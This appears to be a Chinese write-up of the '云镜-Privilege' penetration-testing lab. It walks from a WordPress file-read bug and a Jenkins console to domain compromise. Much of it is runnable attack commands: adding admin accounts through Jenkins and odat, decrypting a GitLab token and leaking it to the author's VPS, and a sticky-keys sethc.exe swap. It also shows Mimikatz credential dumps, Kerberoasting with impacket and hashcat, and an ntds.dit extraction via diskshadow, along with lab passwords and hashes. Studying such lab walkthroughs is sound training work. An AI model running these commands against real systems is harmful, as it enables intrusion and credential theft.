内网渗透之突破云镜-Privilege

文摘   2024-04-17 08:36   陕西  

外网打点

信息搜集

fscan扫描

发现80和8080端口存在着两个服务,先看下80

Wordpress建站,使用wpscan扫描一下

相关插件漏洞寻找过后,发现并没有RCE,所以换8080端口看看

尝试弱口令未果,搜索相关RCE漏洞,探测未授权访问不存在

接下来再对Wordpress站使用dirsearch进行扫描

漏洞探测

发现源码文件,下载下来后发现有数据库账密

尝试连接,不过失败了,应该是不允许非本机连接。

而后在tools/content-log.php下发现了存在任意文件读取漏洞。

获取密码

根据题目描述我们获取到了Jekins根目录为C:\ProgramData\Jenkins\.jenkins,然后我们这里搜索过后可以发现初始密码路径

因此我们这里读取C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword即可

得到密码510235cf43f14e83b88a9f144199655b

既然是任意文件读取,也可以直接读flag了其实

访问8080端口尝试登录


获取权限

发现命令行接口

之前在实战中有尝试过写shell,然后去执行达到反弹shell的目的,因此这里也进行尝试,因为是Windows环境,没有wget,所以用curl -o。

不过这里发现并不能执行

没有python环境,所以只能作罢。

后来想起来Windows环境,当前用户还是system权限,可以直接添加管理员用户的,在这里添加管理员用户

net user qwq Qq123456. /add
net localgroup administrators qwq /add



而后RDP连接即可

内网横向

信息搜集

上线VIPER后使用fscan进行扫描

meterpreter > shell -c 'fscan64.exe -h 172.22.14.7/24'

  ___                              _    
 / _ \     ___  ___ _ __ __ _  ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\  
                    fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.14.7     is alive
(icmp) Target 172.22.14.11    is alive
(icmp) Target 172.22.14.16    is alive
(icmp) Target 172.22.14.31    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 5
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.7:139 open
172.22.14.46:135 open
172.22.14.31:135 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.7:8080 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo:
[*]172.22.14.7
  [->]XR-JENKINS
  [->]172.22.14.7
[*] NetInfo:
[*]172.22.14.11
  [->]XR-DC
  [->]172.22.14.11
[*] NetInfo:
[*]172.22.14.46
  [->]XR-0923
  [->]172.22.14.46
[*] NetInfo:
[*]172.22.14.31
  [->]XR-ORACLE
  [->]172.22.14.31
[*] NetBios: 172.22.14.11   [+] DC:XIAORANG\XR-DC          
[*] NetBios: 172.22.14.31    WORKGROUP\XR-ORACLE          
[*] WebTitle: http://172.22.14.7:8080   code:403 len:548   title:None
[*] NetBios: 172.22.14.46    XIAORANG\XR-0923              
[*] WebTitle: http://172.22.14.16:8060 code:404 len:555   title:404 Not Found
[*] WebTitle: http://172.22.14.46       code:200 len:703   title:IIS Windows Server
[*] WebTitle: http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle: http://172.22.14.7       code:200 len:54603 title:XR SHOP
[*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
[+] http://172.22.14.7/www.zip poc-yaml-backup-file

代理搭建

攻击域成员一(Gitlab API Token泄露)

获取API Token

而后根据题目描述,我们去寻找设置的Gitlab API Token,在网页中可以找到


得到{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh},但这明显是一个加密后的结果,我们需要对它进行解密,这里有两种方法

一是用网页的project接口的gitlab测试功能,将url改成我们的VPS监听端口,然后可以收到PRIVATE-TOKEN,这个后面的值就是真正的API-TOKEN



得到glpat-7kD_qLH2PiQv_ywB9hz2

二是我们可以使用命令行进行直接解密,具体指令如下

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

探测git仓库内容

在刚刚fscan扫描中我们可以看到

[*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab

因此172.22.14.16这个就是Gitlab的部署站,仓库的通用接口是api/v4/projects/,这里带上刚刚的token访问就可以,指令如下

proxychains curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2"  "http://172.22.14.16/api/v4/projects/" | jq | grep "http_url_to_repo"

proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/gitlab-instance-23352f48/Monitoring.git

接下来将内容拖下来

发现一个存储大量用户名和密码的,可能待会需要爆破

yml文件中发现Oracle数据库账密

Oracle 连接

尝试使用mdut连接

但连接过后无法使用(会报错),试了试Navicat也长时间无响应。只能换其他工具了,使用odat进行连接,odat支持执行命令,我们这里直接添加用户

proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user qwq Qq123456. /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup Administrators qwq /add'

RDP连接

攻击域成员二(SeRestorePrivilege提权)

我们刚刚获取的大量用户名密码还没用,将数据提取出来

with open('credentials.txt', 'r') as file:
   lines = file.readlines()

usernames = [line.split('|')[1].strip() for line in lines[2:]]
passwords = [line.split('|')[2].strip() for line in lines[2:]]

with open('user.txt', 'w') as user_file:
   for username in usernames:
       user_file.write(username + '\n')

with open('pwd.txt', 'w') as pwd_file:
   for password in passwords:
       pwd_file.write(password + '\n')

使用cme进行爆破


不过慢慢发现Fscan中有这么一条

[*] NetBios: 172.22.14.46    XIAORANG\XR-0923 

正好凭据也有一条

XR-0923 | zhangshuai | wSbEajHzZs

所以其实不用爆破,直接RDP就可以了

信息搜集

查看当前所拥有权限

whoami /priv 


Remote Management Use成员

可以参考https://forum.butian.net/share/2080

使用evil-winrm连接此机器

proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

可以发现再查看用户权限,发现多了一个SeRestorePrivilege

SeRestorePrivilege提权

参考https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8

可以了解到SeRestorePrivilege授予对系统上所有对象的写访问权,而不管它们的ACL如何。

此时我们就可以通过三种方式达到滥用特权的目的

1、修改服务二进制文件
2、覆盖系统进程使用的DLL
3、修改注册表设置

这里尝试修改粘滞键为cmd,但是拒绝访问了

这里的话再尝试直接修改cmd名字为sethc

ren sethc.exe  sethc.bak
ren cmd.exe sethc.exe

而后锁定用户,在登录处shift 5次触发粘滞键

可以看到已经成功获取system权限,转发VIPER上线获取flag

攻击域控(卷影拷贝提取SAM)

首先添加个管理员用户,方便操作

接下来上传Mimikatz,进行密码抓取

呃,报错了,尝试在VIPER上使用msf模块进行票据搜集

也不行,可能是版本问题,试了很多版本

最终在2.2的某个版本成功执行,是这个应该(下载的太多了,不记得具体哪个了)

https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip

信息搜集

使用Mimikatz获取密码

发现一个机器账户

Authentication Id : 0 ; 832440 (00000000:000cb3b8)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2024/1/24 10:40:31
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : b2caa4c3f6d5e97bf7c58f7db9e24317
* SHA1 : 00e3cf78689e875da3f43a5b62cc919990b52a6b
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : c8 9c 74 62 4b a5 13 60 f8 9f 61 ee 0c 9c b4 ca 97 d7 4c 53 6a 10 4e e7 74 03 51 0a 95 3f 78 af 15 22 5d 7f 0c 10 c9 96 19 7a bd 28 d7 c8 9a b7 ec 04 fb a9 18 83 30 e1 d9 75 aa ed c1 81 d0 76 c3 70 6c 68 35 e9 16 66 bd fe c7 92 78 59 be 9b 0b 65 91 10 8b 5b c4 8f 18 32 72 a6 cb bb c1 b0 96 0f 1d 63 bf 8f e8 4f 9b 7b 6a 7c 0a e8 2e 9a 40 d7 36 7d 2e 7a 0c 99 21 ca 64 27 b9 df 77 c6 f7 47 19 d7 bb 05 d6 4b ca e6 70 4b 62 5f 1c f8 78 b9 33 a2 f7 9e e5 77 78 db f9 cd b1 73 e9 b2 df 35 67 5e b0 12 85 ac 59 db 4c 53 8e 2d 6a d4 d3 93 f5 61 30 ee f5 53 d0 2a ae cf 50 83 92 31 ad 67 17 7a 21 58 dc 62 96 2f f2 1c 1e bc 05 1b 43 48 91 5d c1 06 1d 71 73 c0 fa 04 66 59 e9 35 04 a9 50 a5 79 70 06 7b ea 3a ea 0c 44 4c 01 63
ssp :
credman :
cloudap :

Kerberoasting攻击

proxychains GetUserSPNs.py xiaorang.lab/'XR-0923$' -hashes :b2caa4c3f6d5e97bf7c58f7db9e24317 -dc-ip 172.22.14.11

发现tianjing用户,抓取一下hash

proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :b2caa4c3f6d5e97bf7c58f7db9e24317 -dc-ip 172.22.14.11 -request-user tianjing


而后破解一下密码

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force                                               

得到

tianjing:DPQSXSXgh2

使用evil-winrm登录,进行简单信息搜集

卷影拷贝

有备份以及还原文件和目录的权限,尝试导出sam和system。


首先在本地创建一个dsh文件,这里命名为raj.dsh,内容如下

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

接下来再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距

unix2dos raj.dsh

接下来上传到靶机,我们在C:/下随便创个目录,上传此文件

卷影拷贝

diskshadow /s raj.dsh

复制到当前目录

RoboCopy /b z:\windows\ntds . ntds.dit

下载sam和system

接下来进行解密

 impacket-secretsdump -ntds ntds.dit -system system local

PTH拿下域控

赤弋安全团队
渗透测试,代码审计,CTF ,红蓝对抗,SRC
 最新文章